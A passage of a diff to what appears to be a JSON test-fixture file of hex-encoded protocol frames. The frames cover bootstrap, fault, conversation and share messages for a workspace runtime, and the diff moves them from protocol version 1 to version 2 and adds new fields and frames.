"574d58310101000003000000940000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", + "hex": "574d58310101000003000000940000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", "class": "bootstrap", "seq": 3 }, { "name": "bootstrap-down-ready", "direction": "down", - "hex": "574d583101010000020000007e0000007b2276223a312c2274223a227265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "hex": "574d583101010000020000007e0000007b2276223a322c2274223a227265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", "class": "bootstrap", "seq": 2 }, { "name": "bootstrap-up-mounted", "direction": "up", - "hex": "574d58310101000004000000800000007b2276223a312c2274223a226d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "hex": "574d58310101000004000000800000007b2276223a322c2274223a226d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", "class": "bootstrap", "seq": 4 }, @@ -124,42 +124,42 @@ { "name": "bootstrap-down-conversations-guided", "direction": "down", - "hex": "574d58310101000003000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000003000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "class": "bootstrap", "seq": 3 }, { "name": "bootstrap-down-conversations-tools-only", "direction": "down", - "hex": "574d583101010000040000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d58310101000004000000790500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "class": "bootstrap", "seq": 4 }, { "name": "bootstrap-up-runtime-ready", "direction": "up", - "hex": "574d58310101000005000000980000007b2276223a312c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a317d", + "hex": "574d58310101000005000000ab0000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b5d7d", "class": "bootstrap", "seq": 5 }, { "name": "bootstrap-up-fault-bad-conversations", "direction": "up", - "hex": "574d58310101000006000000990000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f636f6e766572736174696f6e73227d", + "hex": "574d58310101000006000000990000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f636f6e766572736174696f6e73227d", "class": "bootstrap", "seq": 6 }, { "name": "bootstrap-up-fault-supervisor-failed", "direction": "up", - "hex": "574d58310101000007000000990000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273757065727669736f725f6661696c6564227d", + "hex": "574d58310101000007000000990000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273757065727669736f725f6661696c6564227d", "class": "bootstrap", "seq": 7 }, { "name": "bootstrap-up-fault-second-conversations", "direction": "up", - "hex": "574d583101010000080000009c0000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f636f6e766572736174696f6e73227d", + "hex": "574d583101010000080000009c0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f636f6e766572736174696f6e73227d", "class": "bootstrap", "seq": 8 }, @@ -187,42 +187,42 @@ { "name": "bootstrap-up-fault-bad-plan", "direction": "up", - "hex": "574d58310101000009000000900000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f706c616e227d", + "hex": "574d58310101000009000000900000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f706c616e227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-probe-failed", "direction": "up", - "hex": "574d58310101000009000000940000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", + "hex": "574d58310101000009000000940000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-format-failed", "direction": "up", - "hex": "574d58310101000009000000950000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22666f726d61745f6661696c6564227d", + "hex": "574d58310101000009000000950000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22666f726d61745f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-replay-failed", "direction": "up", - "hex": "574d58310101000009000000950000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227265706c61795f6661696c6564227d", + "hex": "574d58310101000009000000950000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227265706c61795f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-mount-failed", "direction": "up", - "hex": "574d58310101000009000000940000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226d6f756e745f6661696c6564227d", + "hex": "574d58310101000009000000940000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226d6f756e745f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-internal", "direction": "up", - "hex": "574d58310101000009000000900000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22696e7465726e616c227d", + "hex": "574d58310101000009000000900000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22696e7465726e616c227d", "class": "bootstrap", "seq": 9 }, @@ -253,6 +253,111 @@ "hex": "574d58310100000006000000540000007b2276223a312c2274223a226661756c74222c22636f6465223a22696e7465726e616c222c2273746f704e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", "class": "control", "seq": 6 + }, + { + "name": "bootstrap-down-shares", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "class": "bootstrap", + "seq": 3 + }, + { + "name": "bootstrap-up-shares-mounted", + "direction": "up", + "hex": "574d58310101000005000000870000007b2276223a322c2274223a227368617265735f6d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "class": "bootstrap", + "seq": 5 + }, + { + "name": "bootstrap-down-conversations-browse-uid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32313030302c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-down-conversations-resume", + "direction": "down", + "hex": "574d58310101000004000000c40600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2232323232323232322d323232322d343232322d383232322d323232323232323232323232225d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-down-conversations-either", + "direction": "down", + "hex": 